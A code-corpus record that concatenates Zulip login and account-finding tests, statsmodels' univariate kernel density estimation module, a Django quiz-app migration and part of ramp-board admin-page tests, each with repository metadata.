email = self.example_email("hamlet") user_2 = self.example_user('hamlet') do_change_is_admin(user_2, True) self.assertTrue(user_2.is_realm_admin) result = self.client_delete('/json/users/me') self.assert_json_success(result) do_change_is_admin(user, True) class TestLoginPage(ZulipTestCase): def test_login_page_wrong_subdomain_error(self): # type: () -> None result = self.client_get("/login/?subdomain=1") self.assertIn(WRONG_SUBDOMAIN_ERROR, result.content.decode('utf8')) @patch('django.http.HttpRequest.get_host') def test_login_page_redirects_for_root_alias(self, mock_get_host): # type: (MagicMock) -> None mock_get_host.return_value = 'www.testserver' with self.settings(ROOT_DOMAIN_LANDING_PAGE=True): result = self.client_get("/en/login/") self.assertEqual(result.status_code, 302) self.assertEqual(result.url, '/accounts/find/') @patch('django.http.HttpRequest.get_host') def test_login_page_redirects_for_root_domain(self, mock_get_host): # type: (MagicMock) -> None mock_get_host.return_value = 'testserver' with self.settings(ROOT_DOMAIN_LANDING_PAGE=True): result = self.client_get("/en/login/") self.assertEqual(result.status_code, 302) self.assertEqual(result.url, '/accounts/find/') mock_get_host.return_value = 'www.testserver.com' with self.settings(ROOT_DOMAIN_LANDING_PAGE=True, EXTERNAL_HOST='www.testserver.com', ROOT_SUBDOMAIN_ALIASES=['test']): result = self.client_get("/en/login/") self.assertEqual(result.status_code, 302) self.assertEqual(result.url, '/accounts/find/') @patch('django.http.HttpRequest.get_host') def test_login_page_works_without_subdomains(self, mock_get_host): # type: (MagicMock) -> None mock_get_host.return_value = 'www.testserver' with self.settings(ROOT_SUBDOMAIN_ALIASES=['www']): result = self.client_get("/en/login/") self.assertEqual(result.status_code, 200) mock_get_host.return_value = 'testserver' with self.settings(ROOT_SUBDOMAIN_ALIASES=['www']): result = self.client_get("/en/login/") self.assertEqual(result.status_code, 200) class TestFindMyTeam(ZulipTestCase): def test_template(self): # type: () -> None result = self.client_get('/accounts/find/') self.assertIn("Find your Zulip accounts", result.content.decode('utf8')) def test_result(self): # type: () -> None result = self.client_post('/accounts/find/', dict(emails="iago@zulip.com,cordelia@zulip.com")) self.assertEqual(result.status_code, 302) self.assertEqual(result.url, "/accounts/find/?emails=iago%40zulip.com%2Ccordelia%40zulip.com") result = self.client_get(result.url) content = result.content.decode('utf8') self.assertIn("Emails sent! You will only receive emails", content) self.assertIn(self.example_email("iago"), content) self.assertIn(self.example_email("cordelia"), content) from django.core.mail import outbox self.assertEqual(len(outbox), 2) def test_find_team_ignore_invalid_email(self): # type: () -> None result = self.client_post('/accounts/find/', dict(emails="iago@zulip.com,invalid_email@zulip.com")) self.assertEqual(result.status_code, 302) self.assertEqual(result.url, "/accounts/find/?emails=iago%40zulip.com%2Cinvalid_email%40zulip.com") result = self.client_get(result.url) content = result.content.decode('utf8') self.assertIn("Emails sent! You will only receive emails", content) self.assertIn(self.example_email("iago"), content) self.assertIn("invalid_email@", content) from django.core.mail import outbox self.assertEqual(len(outbox), 1) def test_find_team_reject_invalid_email(self): # type: () -> None result = self.client_post('/accounts/find/', dict(emails="invalid_string")) self.assertEqual(result.status_code, 200) self.assertIn(b"Enter a valid email", result.content) from django.core.mail import outbox self.assertEqual(len(outbox), 0) # Just for coverage on perhaps-unnecessary validation code. result = self.client_get('/accounts/find/?emails=invalid') self.assertEqual(result.status_code, 200) def test_find_team_zero_emails(self): # type: () -> None data = {'emails': ''} result = self.client_post('/accounts/find/', data) self.assertIn('This field is required', result.content.decode('utf8')) self.assertEqual(result.status_code, 200) from django.core.mail import outbox self.assertEqual(len(outbox), 0) def test_find_team_one_email(self): # type: () -> None data = {'emails': self.example_email("hamlet")} result = self.client_post('/accounts/find/', data) self.assertEqual(result.status_code, 302) self.assertEqual(result.url, '/accounts/find/?emails=hamlet%40zulip.com') from django.core.mail import outbox self.assertEqual(len(outbox), 1) def test_find_team_deactivated_user(self): # type: () -> None do_deactivate_user(self.example_user("hamlet")) data = {'emails': self.example_email("hamlet")} result = self.client_post('/accounts/find/', data) self.assertEqual(result.status_code, 302) self.assertEqual(result.url, '/accounts/find/?emails=hamlet%40zulip.com') from django.core.mail import outbox self.assertEqual(len(outbox), 0) def test_find_team_deactivated_realm(self): # type: () -> None do_deactivate_realm(get_realm("zulip")) data = {'emails': self.example_email("hamlet")} result = self.client_post('/accounts/find/', data) self.assertEqual(result.status_code, 302) self.assertEqual(result.url, '/accounts/find/?emails=hamlet%40zulip.com') from django.core.mail import outbox self.assertEqual(len(outbox), 0) def test_find_team_bot_email(self): # type: () -> None data = {'emails': self.example_email("webhook_bot")} result = self.client_post('/accounts/find/', data) self.assertEqual(result.status_code, 302) self.assertEqual(result.url, '/accounts/find/?emails=webhook-bot%40zulip.com') from django.core.mail import outbox self.assertEqual(len(outbox), 0) def test_find_team_more_than_ten_emails(self): # type: () -> None data = {'emails': ','.join(['hamlet-{}@zulip.com'.format(i) for i in range(11)])} result = self.client_post('/accounts/find/', data) self.assertEqual(result.status_code, 200) self.assertIn("Please enter at most 10", result.content.decode('utf8')) from django.core.mail import outbox self.assertEqual(len(outbox), 0) class ConfirmationKeyTest(ZulipTestCase): def test_confirmation_key(self): # type: () -> None request = MagicMock() request.session = { 'confirmation_key': {'confirmation_key': 'xyzzy'} } result = confirmation_key(request) self.assert_json_success(result) self.assert_in_response('xyzzy', result) class MobileAuthOTPTest(ZulipTestCase): def test_xor_hex_strings(self): # type: () -> None self.assertEqual(xor_hex_strings('1237c81ab', '18989fd12'), '0aaf57cb9') with self.assertRaises(AssertionError): xor_hex_strings('1', '31') def test_is_valid_otp(self): # type: () -> None self.assertEqual(is_valid_otp('1234'), False) self.assertEqual(is_valid_otp('1234abcd' * 8), True) self.assertEqual(is_valid_otp('1234abcZ' * 8), False) def test_ascii_to_hex(self): # type: () -> None self.assertEqual(ascii_to_hex('ZcdR1234'), '5a63645231323334') self.assertEqual(hex_to_ascii('5a63645231323334'), 'ZcdR1234') def test_otp_encrypt_api_key(self): # type: () -> None hamlet = self.example_user('hamlet') hamlet.api_key = '12ac' * 8 otp = '7be38894' * 8 result = otp_encrypt_api_key(hamlet, otp) self.assertEqual(result, '4ad1e9f7' * 8) decryped = otp_decrypt_api_key(result, otp) self.assertEqual(decryped, hamlet.api_key) class LoginOrAskForRegistrationTestCase(ZulipTestCase): def test_confirm(self): # type: () -> None request = HostRequestMock() email = 'new@zulip.com' user_profile = None # type: Optional[UserProfile] full_name = 'New User' invalid_subdomain = False result = login_or_register_remote_user( request, email, user_profile, full_name=full_name, invalid_subdomain=invalid_subdomain) self.assert_in_response('No account found for', result) self.assert_in_response('new@zulip.com. Would you like to register instead?', result) def test_invalid_subdomain(self): # type: () -> None request = HostRequestMock() email = 'new@zulip.com' user_profile = None # type: Optional[UserProfile] full_name = 'New User' invalid_subdomain = True response = login_or_register_remote_user( request, email, user_profile, full_name=full_name, invalid_subdomain=invalid_subdomain) self.assertEqual(response.status_code, 302) self.assertIn('/accounts/login/?subdomain=1', response.url) def test_invalid_email(self): # type: () -> None request = HostRequestMock() email = None # type: Optional[Text] user_profile = None # type: Optional[UserProfile] full_name = 'New User' invalid_subdomain = False response = login_or_register_remote_user( request, email, user_profile, full_name=full_name, invalid_subdomain=invalid_subdomain) self.assert_in_response('Please click the following button if ' 'you wish to register', response) def test_login_under_subdomains(self): # type: () -> None request = HostRequestMock() setattr(request, 'session', self.client.session) user_profile = self.example_user('hamlet') user_profile.backend = 'zproject.backends.GitHubAuthBackend' full_name = 'Hamlet' invalid_subdomain = False response = login_or_register_remote_user( request, user_profile.email, user_profile, full_name=full_name, invalid_subdomain=invalid_subdomain) user_id = get_session_dict_user(getattr(request, 'session')) self.assertEqual(user_id, user_profile.id) self.assertEqual(response.status_code, 302) self.assertIn('http://zulip.testserver', response.url)

43.144387

114

0.615676

2658b95c4370ce6c5bbd24abe6c558ae24902a26

18,447

py

Python

statsmodels/nonparametric/kde.py

ginggs/statsmodels

a74a179d2a3267ed992871f8d9ef6c6d86c9b934

[ "BSD-3-Clause" ]

6

2019-12-26T08:34:44.000Z

2021-05-05T03:10:06.000Z

statsmodels/nonparametric/kde.py

ginggs/statsmodels

a74a179d2a3267ed992871f8d9ef6c6d86c9b934

[ "BSD-3-Clause" ]

1

2019-07-29T08:35:08.000Z

statsmodels/nonparametric/kde.py

ginggs/statsmodels

a74a179d2a3267ed992871f8d9ef6c6d86c9b934

[ "BSD-3-Clause" ]

4

2020-04-07T00:06:17.000Z

2021-06-17T15:11:36.000Z

""" Univariate Kernel Density Estimators References ---------- Racine, Jeff. (2008) "Nonparametric Econometrics: A Primer," Foundation and Trends in Econometrics: Vol 3: No 1, pp1-88. http://dx.doi.org/10.1561/0800000009 https://en.wikipedia.org/wiki/Kernel_%28statistics%29 Silverman, B.W. Density Estimation for Statistics and Data Analysis. """ import numpy as np from scipy import integrate, stats from statsmodels.sandbox.nonparametric import kernels from statsmodels.tools.decorators import cache_readonly from . import bandwidths from .kdetools import (forrt, revrt, silverman_transform) from .linbin import fast_linbin #### Kernels Switch for estimators #### kernel_switch = dict(gau=kernels.Gaussian, epa=kernels.Epanechnikov, uni=kernels.Uniform, tri=kernels.Triangular, biw=kernels.Biweight, triw=kernels.Triweight, cos=kernels.Cosine, cos2=kernels.Cosine2) def _checkisfit(self): try: self.density except: raise ValueError("Call fit to fit the density first") #### Kernel Density Estimator Class ### class KDEUnivariate(object): """ Univariate Kernel Density Estimator. Parameters ---------- endog : array_like The variable for which the density estimate is desired. Notes ----- If cdf, sf, cumhazard, or entropy are computed, they are computed based on the definition of the kernel rather than the FFT approximation, even if the density is fit with FFT = True. `KDEUnivariate` is much faster than `KDEMultivariate`, due to its FFT-based implementation. It should be preferred for univariate, continuous data. `KDEMultivariate` also supports mixed data. See Also -------- KDEMultivariate kdensity, kdensityfft Examples -------- >>> import statsmodels.api as sm >>> import matplotlib.pyplot as plt >>> nobs = 300 >>> np.random.seed(1234) # Seed random generator >>> dens = sm.nonparametric.KDEUnivariate(np.random.normal(size=nobs)) >>> dens.fit() >>> plt.plot(dens.cdf) >>> plt.show() """ def __init__(self, endog): self.endog = np.asarray(endog) def fit(self, kernel="gau", bw="normal_reference", fft=True, weights=None, gridsize=None, adjust=1, cut=3, clip=(-np.inf, np.inf)): """ Attach the density estimate to the KDEUnivariate class. Parameters ---------- kernel : str The Kernel to be used. Choices are: - "biw" for biweight - "cos" for cosine - "epa" for Epanechnikov - "gau" for Gaussian. - "tri" for triangular - "triw" for triweight - "uni" for uniform bw : str, float The bandwidth to use. Choices are: - "scott" - 1.059 * A * nobs ** (-1/5.), where A is `min(std(X),IQR/1.34)` - "silverman" - .9 * A * nobs ** (-1/5.), where A is `min(std(X),IQR/1.34)` - "normal_reference" - C * A * nobs ** (-1/5.), where C is calculated from the kernel. Equivalent (up to 2 dp) to the "scott" bandwidth for gaussian kernels. See bandwidths.py - If a float is given, it is the bandwidth. fft : bool Whether or not to use FFT. FFT implementation is more computationally efficient. However, only the Gaussian kernel is implemented. If FFT is False, then a 'nobs' x 'gridsize' intermediate array is created. gridsize : int If gridsize is None, max(len(X), 50) is used. cut : float Defines the length of the grid past the lowest and highest values of X so that the kernel goes to zero. The end points are -/+ cut*bw*{min(X) or max(X)} adjust : float An adjustment factor for the bw. Bandwidth becomes bw * adjust. """ try: bw = float(bw) self.bw_method = "user-given" except: self.bw_method = bw endog = self.endog if fft: if kernel != "gau": msg = "Only gaussian kernel is available for fft" raise NotImplementedError(msg) if weights is not None: msg = "Weights are not implemented for fft" raise NotImplementedError(msg) density, grid, bw = kdensityfft(endog, kernel=kernel, bw=bw, adjust=adjust, weights=weights, gridsize=gridsize, clip=clip, cut=cut) else: density, grid, bw = kdensity(endog, kernel=kernel, bw=bw, adjust=adjust, weights=weights, gridsize=gridsize, clip=clip, cut=cut) self.density = density self.support = grid self.bw = bw self.kernel = kernel_switch[kernel](h=bw) # we instantiate twice, # should this passed to funcs? # put here to ensure empty cache after re-fit with new options self.kernel.weights = weights if weights is not None: self.kernel.weights /= weights.sum() self._cache = {} @cache_readonly def cdf(self): """ Returns the cumulative distribution function evaluated at the support. Notes ----- Will not work if fit has not been called. """ _checkisfit(self) kern = self.kernel if kern.domain is None: # TODO: test for grid point at domain bound a,b = -np.inf,np.inf else: a,b = kern.domain func = lambda x,s: kern.density(s,x) support = self.support support = np.r_[a,support] gridsize = len(support) endog = self.endog probs = [integrate.quad(func, support[i - 1], support[i], args=endog)[0] for i in range(1, gridsize)] return np.cumsum(probs) @cache_readonly def cumhazard(self): """ Returns the hazard function evaluated at the support. Notes ----- Will not work if fit has not been called. """ _checkisfit(self) return -np.log(self.sf) @cache_readonly def sf(self): """ Returns the survival function evaluated at the support. Notes ----- Will not work if fit has not been called. """ _checkisfit(self) return 1 - self.cdf @cache_readonly def entropy(self): """ Returns the differential entropy evaluated at the support Notes ----- Will not work if fit has not been called. 1e-12 is added to each probability to ensure that log(0) is not called. """ _checkisfit(self) def entr(x,s): pdf = kern.density(s,x) return pdf*np.log(pdf+1e-12) kern = self.kernel if kern.domain is not None: a, b = self.domain else: a, b = -np.inf, np.inf endog = self.endog #TODO: below could run into integr problems, cf. stats.dist._entropy return -integrate.quad(entr, a, b, args=(endog,))[0] @cache_readonly def icdf(self): """ Inverse Cumulative Distribution (Quantile) Function Notes ----- Will not work if fit has not been called. Uses `scipy.stats.mstats.mquantiles`. """ _checkisfit(self) gridsize = len(self.density) return stats.mstats.mquantiles(self.endog, np.linspace(0, 1, gridsize)) def evaluate(self, point): """ Evaluate density at a single point. Parameters ---------- point : float Point at which to evaluate the density. """ _checkisfit(self) return self.kernel.density(self.endog, point) #### Kernel Density Estimator Functions #### def kdensity(X, kernel="gau", bw="normal_reference", weights=None, gridsize=None, adjust=1, clip=(-np.inf, np.inf), cut=3, retgrid=True): """ Rosenblatt-Parzen univariate kernel density estimator. Parameters ---------- X : array_like The variable for which the density estimate is desired. kernel : str The Kernel to be used. Choices are - "biw" for biweight - "cos" for cosine - "epa" for Epanechnikov - "gau" for Gaussian. - "tri" for triangular - "triw" for triweight - "uni" for uniform bw : str, float "scott" - 1.059 * A * nobs ** (-1/5.), where A is min(std(X),IQR/1.34) "silverman" - .9 * A * nobs ** (-1/5.), where A is min(std(X),IQR/1.34) If a float is given, it is the bandwidth. weights : array or None Optional weights. If the X value is clipped, then this weight is also dropped. gridsize : int If gridsize is None, max(len(X), 50) is used. adjust : float An adjustment factor for the bw. Bandwidth becomes bw * adjust. clip : tuple Observations in X that are outside of the range given by clip are dropped. The number of observations in X is then shortened. cut : float Defines the length of the grid past the lowest and highest values of X so that the kernel goes to zero. The end points are -/+ cut*bw*{min(X) or max(X)} retgrid : bool Whether or not to return the grid over which the density is estimated. Returns ------- density : array The densities estimated at the grid points. grid : array, optional The grid points at which the density is estimated. Notes ----- Creates an intermediate (`gridsize` x `nobs`) array. Use FFT for a more computationally efficient version. """ X = np.asarray(X) if X.ndim == 1: X = X[:, None] clip_x = np.logical_and(X > clip[0], X < clip[1]) X = X[clip_x] nobs = len(X) # after trim if gridsize is None: gridsize = max(nobs,50) # do not need to resize if no FFT # handle weights if weights is None: weights = np.ones(nobs) q = nobs else: # ensure weights is a numpy array weights = np.asarray(weights) if len(weights) != len(clip_x): msg = "The length of the weights must be the same as the given X." raise ValueError(msg) weights = weights[clip_x.squeeze()] q = weights.sum() # Get kernel object corresponding to selection kern = kernel_switch[kernel]() # if bw is None, select optimal bandwidth for kernel try: bw = float(bw) except: bw = bandwidths.select_bandwidth(X, bw, kern) bw *= adjust a = np.min(X, axis=0) - cut * bw b = np.max(X, axis=0) + cut * bw grid = np.linspace(a, b, gridsize) k = (X.T - grid[:, None])/bw # uses broadcasting to make a gridsize x nobs # set kernel bandwidth kern.seth(bw) # truncate to domain if kern.domain is not None: # will not work for piecewise kernels like parzen z_lo, z_high = kern.domain domain_mask = (k < z_lo) | (k > z_high) k = kern(k) # estimate density k[domain_mask] = 0 else: k = kern(k) # estimate density k[k < 0] = 0 # get rid of any negative values, do we need this? dens = np.dot(k, weights)/(q*bw) if retgrid: return dens, grid, bw else: return dens, bw def kdensityfft(X, kernel="gau", bw="normal_reference", weights=None, gridsize=None, adjust=1, clip=(-np.inf, np.inf), cut=3, retgrid=True): """ Rosenblatt-Parzen univariate kernel density estimator Parameters ---------- X : array_like The variable for which the density estimate is desired. kernel : str ONLY GAUSSIAN IS CURRENTLY IMPLEMENTED. "bi" for biweight "cos" for cosine "epa" for Epanechnikov, default "epa2" for alternative Epanechnikov "gau" for Gaussian. "par" for Parzen "rect" for rectangular "tri" for triangular bw : str, float "scott" - 1.059 * A * nobs ** (-1/5.), where A is min(std(X),IQR/1.34) "silverman" - .9 * A * nobs ** (-1/5.), where A is min(std(X),IQR/1.34) If a float is given, it is the bandwidth. weights : array or None WEIGHTS ARE NOT CURRENTLY IMPLEMENTED. Optional weights. If the X value is clipped, then this weight is also dropped. gridsize : int If gridsize is None, min(len(X), 512) is used. Note that the provided number is rounded up to the next highest power of 2. adjust : float An adjustment factor for the bw. Bandwidth becomes bw * adjust. clip : tuple Observations in X that are outside of the range given by clip are dropped. The number of observations in X is then shortened. cut : float Defines the length of the grid past the lowest and highest values of X so that the kernel goes to zero. The end points are -/+ cut*bw*{X.min() or X.max()} retgrid : bool Whether or not to return the grid over which the density is estimated. Returns ------- density : array The densities estimated at the grid points. grid : array, optional The grid points at which the density is estimated. Notes ----- Only the default kernel is implemented. Weights are not implemented yet. This follows Silverman (1982) with changes suggested by Jones and Lotwick (1984). However, the discretization step is replaced by linear binning of Fan and Marron (1994). This should be extended to accept the parts that are dependent only on the data to speed things up for cross-validation. References ---------- Fan, J. and J.S. Marron. (1994) `Fast implementations of nonparametric curve estimators`. Journal of Computational and Graphical Statistics. 3.1, 35-56. Jones, M.C. and H.W. Lotwick. (1984) `Remark AS R50: A Remark on Algorithm AS 176. Kernal Density Estimation Using the Fast Fourier Transform`. Journal of the Royal Statistical Society. Series C. 33.1, 120-2. Silverman, B.W. (1982) `Algorithm AS 176. Kernel density estimation using the Fast Fourier Transform. Journal of the Royal Statistical Society. Series C. 31.2, 93-9. """ X = np.asarray(X) X = X[np.logical_and(X > clip[0], X < clip[1])] # will not work for two columns. # will affect underlying data? # Get kernel object corresponding to selection kern = kernel_switch[kernel]() try: bw = float(bw) except: bw = bandwidths.select_bandwidth(X, bw, kern) # will cross-val fit this pattern? bw *= adjust nobs = len(X) # after trim # 1 Make grid and discretize the data if gridsize is None: gridsize = np.max((nobs, 512.)) gridsize = 2**np.ceil(np.log2(gridsize)) # round to next power of 2 a = np.min(X) - cut * bw b = np.max(X) + cut * bw grid,delta = np.linspace(a, b, int(gridsize), retstep=True) RANGE = b - a #TODO: Fix this? # This is the Silverman binning function, but I believe it's buggy (SS) # weighting according to Silverman # count = counts(X,grid) # binned = np.zeros_like(grid) #xi_{k} in Silverman # j = 0 # for k in range(int(gridsize-1)): # if count[k]>0: # there are points of X in the grid here # Xingrid = X[j:j+count[k]] # get all these points # # get weights at grid[k],grid[k+1] # binned[k] += np.sum(grid[k+1]-Xingrid) # binned[k+1] += np.sum(Xingrid-grid[k]) # j += count[k] # binned /= (nobs)*delta**2 # normalize binned to sum to 1/delta #NOTE: THE ABOVE IS WRONG, JUST TRY WITH LINEAR BINNING binned = fast_linbin(X, a, b, gridsize) / (delta * nobs) # step 2 compute FFT of the weights, using Munro (1976) FFT convention y = forrt(binned) # step 3 and 4 for optimal bw compute zstar and the density estimate f # do not have to redo the above if just changing bw, ie., for cross val #NOTE: silverman_transform is the closed form solution of the FFT of the #gaussian kernel. Not yet sure how to generalize it. zstar = silverman_transform(bw, gridsize, RANGE)*y # 3.49 in Silverman # 3.50 w Gaussian kernel f = revrt(zstar) if retgrid: return f, grid, bw else: return f, bw if __name__ == "__main__": import numpy as np np.random.seed(12345) xi = np.random.randn(100) f,grid, bw1 = kdensity(xi, kernel="gau", bw=.372735, retgrid=True) f2, bw2 = kdensityfft(xi, kernel="gau", bw="silverman",retgrid=False) # do some checking vs. silverman algo. # you need denes.f, http://lib.stat.cmu.edu/apstat/176 #NOTE: I (SS) made some changes to the Fortran # and the FFT stuff from Munro http://lib.stat.cmu.edu/apstat/97o # then compile everything and link to denest with f2py #Make pyf file as usual, then compile shared object #f2py denest.f -m denest2 -h denest.pyf #edit pyf #-c flag makes it available to other programs, fPIC builds a shared library #/usr/bin/gfortran -Wall -c -fPIC fft.f #f2py -c denest.pyf ./fft.o denest.f try: from denest2 import denest # @UnresolvedImport a = -3.4884382032045504 b = 4.3671504686785605 RANGE = b - a bw = bandwidths.bw_silverman(xi) ft,smooth,ifault,weights,smooth1 = denest(xi,a,b,bw,np.zeros(512),np.zeros(512),0, np.zeros(512), np.zeros(512)) # We use a different binning algo, so only accurate up to 3 decimal places np.testing.assert_almost_equal(f2, smooth, 3) #NOTE: for debugging # y2 = forrt(weights) # RJ = np.arange(512/2+1) # FAC1 = 2*(np.pi*bw/RANGE)**2 # RJFAC = RJ**2*FAC1 # BC = 1 - RJFAC/(6*(bw/((b-a)/M))**2) # FAC = np.exp(-RJFAC)/BC # SMOOTH = np.r_[FAC,FAC[1:-1]] * y2 # dens = revrt(SMOOTH) except: # ft = np.loadtxt('./ft_silver.csv') # smooth = np.loadtxt('./smooth_silver.csv') print("Did not get the estimates from the Silverman algorithm")

33.662409

90

0.596032

e9337abe06d52be9cadfc15c31642a3d078896b6

512

py

Python

quiz_api/quizzes/migrations/0015_auto_20201130_0344.py

vldslv/quiz_api

64e5f0f6fe03a532e21409940ad3890eaab8052a

[ "BSD-3-Clause" ]

null

quiz_api/quizzes/migrations/0015_auto_20201130_0344.py

vldslv/quiz_api

64e5f0f6fe03a532e21409940ad3890eaab8052a

[ "BSD-3-Clause" ]

null

quiz_api/quizzes/migrations/0015_auto_20201130_0344.py

vldslv/quiz_api

64e5f0f6fe03a532e21409940ad3890eaab8052a

[ "BSD-3-Clause" ]

null

# Generated by Django 2.2.1 on 2020-11-30 00:44 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('quizzes', '0014_question_answer_type'), ] operations = [ migrations.AlterField( model_name='question', name='answer_type', field=models.IntegerField(choices=[(1, 'Текстовое поле'), (2, 'Выбор одного варианта'), (3, 'Множественный выбор')], default=1, verbose_name='Тип ответа'), ), ]

26.947368

167

0.625

55fbfeb7bbd0d691b5fefb56fba286cb0f4976f1

12,477

py

Python

ramp-frontend/ramp_frontend/tests/test_admin.py

frcaud/ramp-board

3df90e51a4faeb0c03bab5dc13e12311807a618e

[ "BSD-3-Clause" ]

null

ramp-frontend/ramp_frontend/tests/test_admin.py

frcaud/ramp-board

3df90e51a4faeb0c03bab5dc13e12311807a618e

[ "BSD-3-Clause" ]

null

ramp-frontend/ramp_frontend/tests/test_admin.py

frcaud/ramp-board

3df90e51a4faeb0c03bab5dc13e12311807a618e

[ "BSD-3-Clause" ]

null

import re import shutil import pytest from werkzeug.datastructures import ImmutableMultiDict from ramp_utils import generate_flask_config from ramp_utils import read_config from ramp_utils.testing import database_config_template from ramp_utils.testing import ramp_config_template from ramp_database.model import Model from ramp_database.testing import create_toy_db from ramp_database.utils import setup_db from ramp_database.utils import session_scope from ramp_database.tools.event import get_event from ramp_database.tools.user import add_user from ramp_database.tools.user import get_user_by_name from ramp_database.tools.team import ask_sign_up_team from ramp_database.tools.team import get_event_team_by_name from ramp_frontend import create_app from ramp_frontend.testing import login_scope @pytest.fixture(scope="module") def client_session(database_connection): database_config = read_config(database_config_template()) ramp_config = ramp_config_template() try: deployment_dir = create_toy_db(database_config, ramp_config) flask_config = generate_flask_config(database_config) app = create_app(flask_config) app.config["TESTING"] = True app.config["WTF_CSRF_ENABLED"] = False with session_scope(database_config["sqlalchemy"]) as session: yield app.test_client(), session finally: shutil.rmtree(deployment_dir, ignore_errors=True) try: # In case of failure we should close the global flask engine from ramp_frontend import db as db_flask db_flask.session.close() except RuntimeError: pass db, _ = setup_db(database_config["sqlalchemy"]) Model.metadata.drop_all(db) @pytest.mark.parametrize( "page", [ "/approve_users", "/manage_users", "/sign_up/test_user", "/events/iris_test/sign_up/test_user", "/events/iris_test/update", "/user_interactions", "/events/iris_test/dashboard_submissions", ], ) def test_check_login_required(client_session, page): client, _ = client_session rv = client.get(page) assert rv.status_code == 302 assert "http://localhost/login" in rv.location rv = client.get(page, follow_redirects=True) assert rv.status_code == 200 @pytest.mark.parametrize( "page, request_function", [ ("/approve_users", ["get", "post"]), ("/manage_users", ["get"]), ("/sign_up/test_user", ["get"]), ("/events/iris_test/sign_up/test_user", ["get"]), ("/events/iris_test/update", ["get", "post"]), ("/user_interactions", ["get"]), ("/events/iris_test/dashboard_submissions", ["get"]), ], ) def test_check_admin_required(client_session, page, request_function): client, _ = client_session with login_scope(client, "test_user", "test") as client: for rf in request_function: rv = getattr(client, rf)(page) with client.session_transaction() as cs: flash_message = dict(cs["_flashes"]) assert ( flash_message["message"] == "Sorry User, you do not have admin rights" ) assert rv.status_code == 302 assert rv.location == "http://localhost/problems" rv = getattr(client, rf)(page, follow_redirects=True) assert rv.status_code == 200 def test_approve_users_remove(client_session): client, session = client_session # create 2 new users add_user(session, "xx", "xx", "xx", "xx", "xx", access_level="user") add_user(session, "yy", "yy", "yy", "yy", "yy", access_level="asked") # ask for sign up for an event for the first user _, _, event_team = ask_sign_up_team(session, "iris_test", "xx") with login_scope(client, "test_iris_admin", "test") as client: # GET check that we get all new user to be approved rv = client.get("/approve_users") assert rv.status_code == 200 # line for user approval assert b"yy yy - yy" in rv.data # line for the event approval assert b"iris_test - xx" # POST check that we are able to approve a user and event data = ImmutableMultiDict( [ ("submit_button", "Remove!"), ("approve_users", "yy"), ("approve_event_teams", str(event_team.id)), ] ) rv = client.post("/approve_users", data=data) assert rv.status_code == 302 assert rv.location == "http://localhost/problems" # ensure that the previous change have been committed within our # session session.commit() user = get_user_by_name(session, "yy") assert user is None event_team = get_event_team_by_name(session, "iris_test", "xx") assert event_team is None with client.session_transaction() as cs: flash_message = dict(cs["_flashes"]) assert re.match( r"Removed users:\nyy\nRemoved event_team:\n" r"Event$iris_test$/Team$.*xx.*$\n", flash_message["Removed users"], ) def test_approve_users_approve(client_session): client, session = client_session # create 2 new users add_user(session, "cc", "cc", "cc", "cc", "cc", access_level="user") add_user(session, "dd", "dd", "dd", "dd", "dd", access_level="asked") # ask for sign up for an event for the first user _, _, event_team = ask_sign_up_team(session, "iris_test", "cc") with login_scope(client, "test_iris_admin", "test") as client: # GET check that we get all new user to be approved rv = client.get("/approve_users") assert rv.status_code == 200 # line for user approval assert b"dd dd - dd" in rv.data # line for the event approval assert b"iris_test - cc" # POST check that we are able to approve a user and event data = ImmutableMultiDict( [ ("submit_button", "Approve!"), ("approve_users", "dd"), ("approve_event_teams", str(event_team.id)), ] ) rv = client.post("/approve_users", data=data) assert rv.status_code == 302 assert rv.location == "http://localhost/problems" # ensure that the previous change have been committed within our # session session.commit() user = get_user_by_name(session, "dd") assert user.access_level == "user" event_team = get_event_team_by_name(session, "iris_test", "cc") assert event_team.approved with client.session_transaction() as cs: flash_message = dict(cs["_flashes"]) assert re.match( r"Approved users:\ndd\nApproved event_team:\n" r"Event$iris_test$/Team$.*cc.*$\n", flash_message["Approved users"], ) def test_approve_single_user(client_session): client, session = client_session add_user(session, "gg", "gg", "gg", "gg", "gg", access_level="asked") with login_scope(client, "test_iris_admin", "test") as client: rv = client.get("/sign_up/gg") assert rv.status_code == 302 assert rv.location == "http://localhost/problems" with client.session_transaction() as cs: flash_message = dict(cs["_flashes"]) assert re.match( "User(.*gg.*) is signed up", flash_message["Successful sign-up"] ) # ensure that the previous change have been committed within our # session session.commit() user = get_user_by_name(session, "gg") assert user.access_level == "user" rv = client.get("/sign_up/unknown_user") session.commit() assert rv.status_code == 302 assert rv.location == "http://localhost/problems" with client.session_transaction() as cs: flash_message = dict(cs["_flashes"]) assert flash_message["message"] == "No user unknown_user" def test_approve_sign_up_for_event(client_session): client, session = client_session with login_scope(client, "test_iris_admin", "test") as client: # check the redirection if the user or the event does not exist rv = client.get("/events/xxx/sign_up/test_user") session.commit() assert rv.status_code == 302 assert rv.location == "http://localhost/problems" with client.session_transaction() as cs: flash_message = dict(cs["_flashes"]) assert flash_message["message"] == "No event xxx or no user test_user" rv = client.get("/events/iris_test/sign_up/xxxx") session.commit() assert rv.status_code == 302 assert rv.location == "http://localhost/problems" with client.session_transaction() as cs: flash_message = dict(cs["_flashes"]) assert flash_message["message"] == "No event iris_test or no user xxxx" add_user(session, "zz", "zz", "zz", "zz", "zz", access_level="user") _, _, event_team = ask_sign_up_team(session, "iris_test", "zz") assert not event_team.approved rv = client.get("/events/iris_test/sign_up/zz") assert rv.status_code == 302 assert rv.location == "http://localhost/problems" session.commit() event_team = get_event_team_by_name(session, "iris_test", "zz") assert event_team.approved with client.session_transaction() as cs: flash_message = dict(cs["_flashes"]) assert "is signed up for Event" in flash_message["Successful sign-up"] def test_manage_users(client_session): client, session = client_session # create 2 new users add_user(session, "ff", "ff", "ff", "ff", "ff", access_level="user") add_user(session, "ll", "ll", "ll", "ll", "ll", access_level="asked") # ask for sign up for an event for the first user _, _, event_team = ask_sign_up_team(session, "iris_test", "xx") with login_scope(client, "test_iris_admin", "test") as client: # GET check that we get all users rv = client.get("/manage_users") assert rv.status_code == 200 # assert b'yy yy - yy' in rv.data def test_update_event(client_session): client, session = client_session with login_scope(client, "test_iris_admin", "test") as client: # in case that the event does not exist rv = client.get("/events/boston_housing/update") assert rv.status_code == 302 assert rv.location == "http://localhost/problems" with client.session_transaction() as cs: flash_message = dict(cs["_flashes"]) assert 'no event named "boston_housing"' in flash_message["message"] # GET: pre-fill the forms rv = client.get("/events/iris_test/update") assert rv.status_code == 200 assert b"Minimum duration between submissions" in rv.data # POST: update the event data event_info = { 